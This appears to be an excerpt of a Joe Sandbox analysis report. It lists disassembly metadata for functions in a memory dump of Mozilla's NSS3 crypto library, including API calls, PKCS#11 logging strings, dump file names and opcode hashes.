PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CAE50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA975C2), ref: 6CAE50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAE50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAE50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE5153
free.MOZGLUE(?), ref: 6CAE516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CAE517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAE5195

Strings

parameters=, xrefs: 6CAE506B
name=, xrefs: 6CAE5057
nss=, xrefs: 6CAE5083
library=, xrefs: 6CAE5043
config=, xrefs: 6CAE509B

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 6d1080302516951b6ae8bee753adf3867adc6664e09a4dd8b62abdff8229227f
Instruction ID: ff9f9ddfc2e861569398d1a025649f911e6be81d9141fb750f238eaf6b2c4055
Opcode Fuzzy Hash: 6d1080302516951b6ae8bee753adf3867adc6664e09a4dd8b62abdff8229227f
Instruction Fuzzy Hash: 0A51A4B5E012155FEB00DF24ED41AAE37A89F0A348F180460FC55E7741EB25E959DBF2

Function 6CAB8E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CAB8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAB8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB8EB3

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAB8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CAB8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CAB8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB8F29
PR_LogPrint.NSS3(?,00000000), ref: 6CAB8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CAB8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB8F80
PR_LogPrint.NSS3(?,00000000), ref: 6CAB8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CAB8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CAB8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CAB9047

Strings

(CK_INVALID_HANDLE), xrefs: 6CAB8EAC, 6CAB8F1F, 6CAB8F79
hKey = 0x%x, xrefs: 6CAB8F5B, 6CAB8F6B
hSession = 0x%x, xrefs: 6CAB8E8E, 6CAB8E9E
hWrappingKey = 0x%x, xrefs: 6CAB8F01, 6CAB8F11
pulWrappedKeyLen = 0x%p, xrefs: 6CAB8FC8
pWrappedKey = 0x%p, xrefs: 6CAB8FAD
*pulWrappedKeyLen = 0x%x, xrefs: 6CAB9042
C_WrapKey, xrefs: 6CAB8E71
pMechanism = 0x%p, xrefs: 6CAB8EE0

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 8d4e690f93fab55103b34047d81d821e9b6cf64bf6d23dd999893875dcd0557d
Instruction ID: 4530bcb559a58c46170b09e15175657725be6ef846702ef0babc2c79f42782e1
Opcode Fuzzy Hash: 8d4e690f93fab55103b34047d81d821e9b6cf64bf6d23dd999893875dcd0557d
Instruction Fuzzy Hash: D1510735501146AFDB009F68EE48F9E777AEB4675DF084025F50877A12DB309958CBA3

Function 6CAE4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CAD4F51,00000000), ref: 6CAE4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAD4F51,00000000), ref: 6CAE4C5B
PR_smprintf.NSS3(6CBBAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CAD4F51,00000000), ref: 6CAE4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CAD4F51,00000000), ref: 6CAE4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAE4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAE4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAE4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAD4F51,00000000), ref: 6CAE4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAD4F51,00000000), ref: 6CAE4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CAE4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CAE4DA2
free.MOZGLUE(?), ref: 6CAE4DB9
free.MOZGLUE(00000000), ref: 6CAE4DCF

Strings

rust, xrefs: 6CAE4D22
0x%08lx=[%s %s], xrefs: 6CAE4D80
slotFlags, xrefs: 6CAE4D34
any, xrefs: 6CAE4C96
ootT, xrefs: 6CAE4D1A
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CAE4D9D
timeout, xrefs: 6CAE4C91
every, xrefs: 6CAE4CA1
%s,%s, xrefs: 6CAE4C4B
rootFlags, xrefs: 6CAE4D47

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 4eb7f5fef4667b21c78c79cb264a0b9225838723dfc56d020ce2df07f96bc886
Instruction ID: 88cc023f8b9423861840077475871ff9bb92846f7206f71d95165f9fef9ab579
Opcode Fuzzy Hash: 4eb7f5fef4667b21c78c79cb264a0b9225838723dfc56d020ce2df07f96bc886
Instruction Fuzzy Hash: 95418DB5D0018167DB119F999C84ABF3B79AF9A30CF184124EC165BB01EB31E9A8D7D3

Function 6CABA7B0 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 142COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptMessage), ref: 6CABA7D6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CABA804
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CABA813

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

Part of subcall function 6CA70F00: PR_GetPageSize.NSS3(6CA70936,FFFFE8AE,?,6CA016B7,00000000,?,6CA70936,00000000,?,6CA0204A), ref: 6CA70F1B
Part of subcall function 6CA70F00: PR_NewLogModule.NSS3(clock,6CA70936,FFFFE8AE,?,6CA016B7,00000000,?,6CA70936,00000000,?,6CA0204A), ref: 6CA70F25

PR_LogPrint.NSS3(?,00000000), ref: 6CABA829
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CABA84E
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CABA86D
PR_LogPrint.NSS3( pAssociatedData = 0x%p,?), ref: 6CABA88C
PR_LogPrint.NSS3( ulAssociatedDataLen = 0x%p,?), ref: 6CABA8A7
PR_LogPrint.NSS3( pCiphertext = 0x%p,?), ref: 6CABA8C2
PR_LogPrint.NSS3( ulCiphertextLen = %d,?), ref: 6CABA8DD
PR_LogPrint.NSS3( pPlaintext = 0x%p,?), ref: 6CABA8F6
PR_LogPrint.NSS3( pulPlaintextLen = 0x%p,?), ref: 6CABA90F

Strings

(CK_INVALID_HANDLE), xrefs: 6CABA80C
pPlaintext = 0x%p, xrefs: 6CABA8F1
hSession = 0x%x, xrefs: 6CABA7EE, 6CABA7FE
pAssociatedData = 0x%p, xrefs: 6CABA887
ulCiphertextLen = %d, xrefs: 6CABA8D8
pCiphertext = 0x%p, xrefs: 6CABA8BD
C_DecryptMessage, xrefs: 6CABA7D1
ulParameterLen = 0x%p, xrefs: 6CABA868
pulPlaintextLen = 0x%p, xrefs: 6CABA90A
ulAssociatedDataLen = 0x%p, xrefs: 6CABA8A2
pParameter = 0x%p, xrefs: 6CABA849

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatnModulePageSize
String ID: hSession = 0x%x$ pAssociatedData = 0x%p$ pCiphertext = 0x%p$ pParameter = 0x%p$ pPlaintext = 0x%p$ pulPlaintextLen = 0x%p$ ulAssociatedDataLen = 0x%p$ ulCiphertextLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptMessage
API String ID: 2235929764-549835957
Opcode ID: 1981fb5a4571ff3ada91803f5aee33d66e29de8d53e8d4361c7dfc9a18e55e39
Instruction ID: 2608149546953b310d48319b75eb3e7378059a54eb8f40637c1384e6e2a6d105
Opcode Fuzzy Hash: 1981fb5a4571ff3ada91803f5aee33d66e29de8d53e8d4361c7dfc9a18e55e39
Instruction Fuzzy Hash: B651D735501089AFDF04CF94ED48E9D3BB6FB4A75DF094024F508A7A22DB318D99EB62

Function 6CABE640 Relevance: 34.8, APIs: 23, Instructions: 266memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,6CAC8C5B,-00000001), ref: 6CABE655

Part of subcall function 6CAE0BE0: malloc.MOZGLUE(6CAD8D2D,?,00000000,?), ref: 6CAE0BF8
Part of subcall function 6CAE0BE0: TlsGetValue.KERNEL32(6CAD8D2D,?,00000000,?), ref: 6CAE0C15

PK11_GetIVLength.NSS3(-00000001,?,?,6CAC8C5B,-00000001), ref: 6CABE7DE
PORT_Alloc_Util.NSS3(00000000,?,?,?,6CAC8C5B,-00000001), ref: 6CABE7F4
PK11_GenerateRandom.NSS3(00000000,00000000,?,?,?,?,6CAC8C5B,-00000001), ref: 6CABE807
PK11_GetIVLength.NSS3(-00000001,?,?,6CAC8C5B,-00000001), ref: 6CABE81B
PORT_Alloc_Util.NSS3(00000000,?,?,?,6CAC8C5B,-00000001), ref: 6CABE82E
PK11_GenerateRandom.NSS3(00000000,00000000,?,?,?,?,6CAC8C5B,-00000001), ref: 6CABE841
free.MOZGLUE(00000000,?,?,?,?,?,?,6CAC8C5B,-00000001), ref: 6CABE852
PORT_Alloc_Util.NSS3(00000004,?,?,6CAC8C5B,-00000001), ref: 6CABE878
free.MOZGLUE(00000000,?,?,6CAC8C5B,-00000001), ref: 6CABE8AB
PORT_Alloc_Util.NSS3(0000000C,?,?,?,6CAC8C5B,-00000001), ref: 6CABE8B6
PORT_Alloc_Util.NSS3(00000008,?,?,?,?,6CAC8C5B,-00000001), ref: 6CABE8D4
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CABE9D5

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Alloc_$K11_$GenerateLengthRandomfree$Item_ValueZfreemalloc
String ID:
API String ID: 1964932494-0
Opcode ID: 0447f223972b305ce43a18a19ce53e65f9e107f0e9113ab7ba7d04b45f3a032c
Instruction ID: f14e2c735ca2d80285029602208631b6c5dddf397e25e0ab52e1dc914b371619
Opcode Fuzzy Hash: 0447f223972b305ce43a18a19ce53e65f9e107f0e9113ab7ba7d04b45f3a032c
Instruction Fuzzy Hash: 9F81C5B0901A054BFB509BA89C9176BB6EC9B0434CF28807AD819E6F40FB35D5DC87D2

Function 6CAC2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CAC2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CAC2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAC2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAC2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CA94F1C,?,-00000001,00000000,?), ref: 6CAC2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CA94F1C,?,-00000001,00000000), ref: 6CAC2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAC2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAC2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAC2EF8
PR_Unlock.NSS3(?), ref: 6CAC2F62
TlsGetValue.KERNEL32 ref: 6CAC2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAC2F9E
PR_Unlock.NSS3(?), ref: 6CAC2FCA
TlsGetValue.KERNEL32 ref: 6CAC301A
EnterCriticalSection.KERNEL32(?), ref: 6CAC302E
PR_Unlock.NSS3(?), ref: 6CAC3066
PR_SetError.NSS3(00000000,00000000), ref: 6CAC3085
PR_Unlock.NSS3(?), ref: 6CAC30EC
TlsGetValue.KERNEL32 ref: 6CAC310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAC3124
PR_Unlock.NSS3(?), ref: 6CAC314C

Part of subcall function 6CAA9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CAD379E,?,6CAA9568,00000000,?,6CAD379E,?,00000001,?), ref: 6CAA918D
Part of subcall function 6CAA9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CAD379E,?,6CAA9568,00000000,?,6CAD379E,?,00000001,?), ref: 6CAA91A0

Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707AD
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707CD
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707D6
Part of subcall function 6CA707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA0204A), ref: 6CA707E4
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,6CA0204A), ref: 6CA70864
Part of subcall function 6CA707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA70880
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,6CA0204A), ref: 6CA708CB
Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(?,?,6CA0204A), ref: 6CA708D7
Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(?,?,6CA0204A), ref: 6CA708FB

PR_SetError.NSS3(00000000,00000000), ref: 6CAC316D

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: bd00c75aaeaaa27571b9b621309df9e690761d85c9b7c2360aa0993c8c926cf8
Instruction ID: 5c53b70ea0c00fb3c744827b4ea75af9d442ccae50eb744e4835678ff93cbaeb
Opcode Fuzzy Hash: bd00c75aaeaaa27571b9b621309df9e690761d85c9b7c2360aa0993c8c926cf8
Instruction Fuzzy Hash: 64F19DB5E006089FDF00DF68D844B9EBBB5BF09318F184269EC45A7711EB31E995CB92

Function 6CABAF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CABAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CABAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CABAF83

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CABAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CABAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CABAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CABAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CABB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CABB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CABB041

Strings

pulSignatureLen = 0x%p, xrefs: 6CABB03C
(CK_INVALID_HANDLE), xrefs: 6CABAF7C
hSession = 0x%x, xrefs: 6CABAF5E, 6CABAF6E
pData = 0x%p, xrefs: 6CABAFEF
pSignature = 0x%p, xrefs: 6CABB023
ulParameterLen = 0x%p, xrefs: 6CABAFD4
C_SignMessage, xrefs: 6CABAF41
ulDataLen = %d, xrefs: 6CABB00A
pParameter = 0x%p, xrefs: 6CABAFB9

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 7f3ae4ccac8f6bebb3bdb16586bb03f76800bb9f42a493472f73078d66ddc1fc
Instruction ID: 6f79be970836e57718c3f742f56c369fe310105e643cf904a42f3b2a58154be5
Opcode Fuzzy Hash: 7f3ae4ccac8f6bebb3bdb16586bb03f76800bb9f42a493472f73078d66ddc1fc
Instruction Fuzzy Hash: AE41F839601089EFDB44CF58ED88F9D7BB6EB4A75DF084024F51867A11DB318998CBA3

Function 6CAE0550 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 182stringCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_ALLOW_WEAK_SIGNATURE_ALG,00000002,00000000,?,6CAC5989), ref: 6CAE0571

Part of subcall function 6CA71240: TlsGetValue.KERNEL32(00000040,?,6CA7116C,NSPR_LOG_MODULES), ref: 6CA71267
Part of subcall function 6CA71240: EnterCriticalSection.KERNEL32(?,?,?,6CA7116C,NSPR_LOG_MODULES), ref: 6CA7127C
Part of subcall function 6CA71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA7116C,NSPR_LOG_MODULES), ref: 6CA71291
Part of subcall function 6CA71240: PR_Unlock.NSS3(?,?,?,?,6CA7116C,NSPR_LOG_MODULES), ref: 6CA712A0

PR_GetEnvSecure.NSS3(NSS_HASH_ALG_SUPPORT,?,00000002,00000000,?,6CAC5989), ref: 6CAE05B7
PORT_Strdup_Util.NSS3(00000000,?,?,00000002,00000000,?,6CAC5989), ref: 6CAE05C8
strchr.VCRUNTIME140(00000000,0000003B,?,?,?,00000002,00000000,?,6CAC5989), ref: 6CAE05EC
strstr.VCRUNTIME140(00000001,?), ref: 6CAE0653
free.MOZGLUE(?,?,?,?,00000002,00000000,?,6CAC5989), ref: 6CAE0681
PORT_NewArena_Util.NSS3(00000800,?,?,?,?,00000002,00000000,?,6CAC5989), ref: 6CAE06AB
PL_NewHashTable.NSS3(00000000,6CADFE80,?,6CB2C350,00000000,00000000,?,?,?,?,?,00000002,00000000,?,6CAC5989), ref: 6CAE06D5
PL_NewHashTable.NSS3(00000000,?,6CB2C350,6CB2C350,00000000,00000000), ref: 6CAE06EC
PL_HashTableAdd.NSS3(?,6CBAE618,6CBAE618), ref: 6CAE070F

Part of subcall function 6CA02DF0: PL_HashTableRawAdd.NSS3(?,?,?,?,?), ref: 6CA02E35

PL_HashTableAdd.NSS3(FFFFFFFF,6CBAE618), ref: 6CAE0738
PL_HashTableAdd.NSS3(6CBAE634,6CBAE634), ref: 6CAE0752
PR_SetError.NSS3(FFFFE001,00000000,?,?,?,?,00000002,00000000,?,6CAC5989), ref: 6CAE0767

Strings

NSS_ALLOW_WEAK_SIGNATURE_ALG, xrefs: 6CAE056C
dynamic OID data, xrefs: 6CAE068A
flags, xrefs: 6CAE0555
V, xrefs: 6CAE0559
NSS_HASH_ALG_SUPPORT, xrefs: 6CAE05B2

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: HashTable$SecureUtil$Arena_CriticalEnterErrorSectionStrdup_UnlockValuefreegetenvstrchrstrstr
String ID: NSS_ALLOW_WEAK_SIGNATURE_ALG$NSS_HASH_ALG_SUPPORT$V$dynamic OID data$flags
API String ID: 514890423-4248967104
Opcode ID: e8c74c4a26d5a80e6df19392a40a7682d3ffc7e444e3eb8493d6a1ca301a315f
Instruction ID: c4d54d51c08726d57721164b0d3eb34b4f16298dd56b6b3d893223f742f4211f
Opcode Fuzzy Hash: e8c74c4a26d5a80e6df19392a40a7682d3ffc7e444e3eb8493d6a1ca301a315f
Instruction Fuzzy Hash: 135107B1E002825FEB408B759C087A73AB5AB4A798F1C0125D818D7B41FB70D984EBE2

Function 6CAC6CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAC6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CAC6943
Part of subcall function 6CAC6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CAC6957
Part of subcall function 6CAC6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CAC6972
Part of subcall function 6CAC6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CAC6983
Part of subcall function 6CAC6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CAC69AA
Part of subcall function 6CAC6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CAC69BE
